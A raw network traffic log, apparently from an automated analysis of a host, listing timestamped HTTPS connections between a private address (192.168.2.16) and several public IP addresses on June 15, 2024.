Jun 15, 2024 11:15:02.064886093 CEST	443	49820	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.065275908 CEST	49820	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.065363884 CEST	443	49820	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.065409899 CEST	49820	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.082917929 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.082989931 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.083014011 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.083054066 CEST	49822	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.083070040 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.083081007 CEST	49822	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.084017038 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.084079027 CEST	49822	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.084084988 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.084163904 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.084270000 CEST	49822	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.084276915 CEST	443	49822	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.084285975 CEST	49822	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.108545065 CEST	443	49820	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.117939949 CEST	49820	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.174460888 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.174707890 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.174758911 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.174777031 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.174925089 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.174966097 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175348997 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175415039 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175435066 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175476074 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175474882 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.175507069 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175513029 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.175523996 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175530910 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.175548077 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.175570011 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.175682068 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.175740004 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.176415920 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.176455975 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.176507950 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.176528931 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.177041054 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.177139997 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.177400112 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.177407026 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.177484035 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.177501917 CEST	443	49824	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.181833982 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.181885004 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.181922913 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.181935072 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.181945086 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.181992054 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.228951931 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.228950977 CEST	49824	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.244961023 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 15, 2024 11:15:02.290302038 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.290328026 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.290373087 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.290380955 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.290405989 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.290419102 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.290469885 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.290731907 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.290739059 CEST	443	49821	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.290747881 CEST	49821	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.292922020 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.292953014 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.293020964 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.293700933 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.293715000 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.294001102 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.294008017 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.294514894 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.294784069 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.294795990 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.320240974 CEST	443	49820	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.320354939 CEST	443	49820	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.320441961 CEST	49820	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.320851088 CEST	49820	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.320899010 CEST	443	49820	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.323065996 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.323147058 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.323232889 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.323479891 CEST	49833	443	192.168.2.16	23.212.88.20
Jun 15, 2024 11:15:02.323512077 CEST	443	49833	23.212.88.20	192.168.2.16
Jun 15, 2024 11:15:02.444835901 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444863081 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444870949 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444890022 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444899082 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444905996 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444930077 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.444947004 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.444977999 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.444998980 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.450977087 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.451054096 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.451057911 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.451100111 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.451122046 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.451127052 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.451167107 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.451401949 CEST	49825	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.451416969 CEST	443	49825	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501759052 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501821995 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501847029 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501867056 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501879930 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.501909971 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501930952 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501936913 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.501952887 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501971960 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.501982927 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.502001047 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.502007008 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.502018929 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.503384113 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.503437042 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.503457069 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.503469944 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.503477097 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.503511906 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.503526926 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.503598928 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617010117 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.617075920 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.617101908 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617135048 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.617151976 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617162943 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617193937 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.617259979 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617265940 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.617383957 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.617429018 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617676973 CEST	49819	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.617696047 CEST	443	49819	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.620266914 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.620322943 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.620404005 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.620644093 CEST	49834	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.620662928 CEST	443	49834	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.633908987 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:02.633954048 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:02.634017944 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:02.634668112 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:02.634737968 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:02.634820938 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:02.634979010 CEST	49835	443	192.168.2.16	51.89.9.252
Jun 15, 2024 11:15:02.635015965 CEST	443	49835	51.89.9.252	192.168.2.16
Jun 15, 2024 11:15:02.635308027 CEST	49836	443	192.168.2.16	52.51.190.15
Jun 15, 2024 11:15:02.635344982 CEST	443	49836	52.51.190.15	192.168.2.16
Jun 15, 2024 11:15:02.649858952 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:02.649934053 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:02.650013924 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:02.650259018 CEST	49837	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:15:02.650276899 CEST	443	49837	88.212.201.198	192.168.2.16
Jun 15, 2024 11:15:02.651010036 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:02.651053905 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:02.651118994 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:02.651364088 CEST	49838	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:02.651384115 CEST	443	49838	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:02.694137096 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:02.694199085 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:02.694267988 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:02.707835913 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.711875916 CEST	49839	443	192.168.2.16	185.89.210.244
Jun 15, 2024 11:15:02.711896896 CEST	443	49839	185.89.210.244	192.168.2.16
Jun 15, 2024 11:15:02.713469982 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.713486910 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.714720011 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.716233969 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.716501951 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.716655016 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.716722965 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.716773987 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.716789961 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.717401981 CEST	49830	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.717420101 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.717875004 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.717907906 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.717976093 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.718379021 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.718734026 CEST	49830	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.718842030 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.719058037 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.719150066 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.719688892 CEST	49830	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.719979048 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.719995022 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.721606016 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.721822023 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.721839905 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.722444057 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.722655058 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.724248886 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.724257946 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.724487066 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.724575043 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.724667072 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.725289106 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.725353956 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.725716114 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.726222038 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.756378889 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:02.756474018 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:02.756587982 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:02.756797075 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:02.756850004 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:02.756921053 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:02.757177114 CEST	49840	443	192.168.2.16	145.239.192.166
Jun 15, 2024 11:15:02.757214069 CEST	443	49840	145.239.192.166	192.168.2.16
Jun 15, 2024 11:15:02.757445097 CEST	49841	443	192.168.2.16	15.197.193.217
Jun 15, 2024 11:15:02.757462978 CEST	443	49841	15.197.193.217	192.168.2.16
Jun 15, 2024 11:15:02.760500908 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.760504961 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.768544912 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.769973040 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.772501945 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.818681002 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:02.818736076 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:02.818813086 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:02.820791960 CEST	49842	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:15:02.820811033 CEST	443	49842	91.228.74.244	192.168.2.16
Jun 15, 2024 11:15:02.849962950 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 15, 2024 11:15:02.877199888 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.877223969 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.877274990 CEST	49830	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.877290010 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.877346992 CEST	49830	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.878331900 CEST	49830	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.878376961 CEST	443	49830	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.893462896 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.893516064 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.893580914 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.893593073 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.893627882 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.893671036 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.893711090 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.894052982 CEST	49828	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.894067049 CEST	443	49828	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.894531965 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.894593000 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.894634962 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.894659996 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.894689083 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.894746065 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.894761086 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.894810915 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.896060944 CEST	49827	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.896076918 CEST	443	49827	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.900073051 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.900151014 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.900229931 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.900449038 CEST	49843	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.900505066 CEST	443	49843	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.960131884 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.960381985 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.960391045 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.961050034 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.961280107 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.961287022 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.961589098 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.961915016 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.962081909 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.962146997 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.962398052 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.963423014 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.963505030 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.963665009 CEST	49832	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.973741055 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.973808050 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.973850965 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.973870039 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.973885059 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.973929882 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.988859892 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.988886118 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.988893986 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.988909960 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.988975048 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.989017963 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.989017963 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.989057064 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.989092112 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.989113092 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.989168882 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.989216089 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.989238024 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.989248037 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.989268064 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.989275932 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.998307943 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.998333931 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.998421907 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:02.998439074 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:02.998495102 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.004527092 CEST	443	49832	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.004528046 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.007955074 CEST	49831	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.088804007 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.088885069 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.088929892 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.088937998 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.088963985 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.088982105 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.089040041 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.089090109 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.089236021 CEST	49826	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.089248896 CEST	443	49826	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.105156898 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.105174065 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.105245113 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.105278015 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.105323076 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.110446930 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.110465050 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.110524893 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.110537052 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.110578060 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.116508961 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.116524935 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.116590977 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.116612911 CEST	443	49829	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.116676092 CEST	49829	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:03.119195938 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.119240999 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 15, 2024 11:15:03.119247913 CEST	443	49831	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:03.119292974 CEST	49831	443	192.168.2.16	185.178.208.137
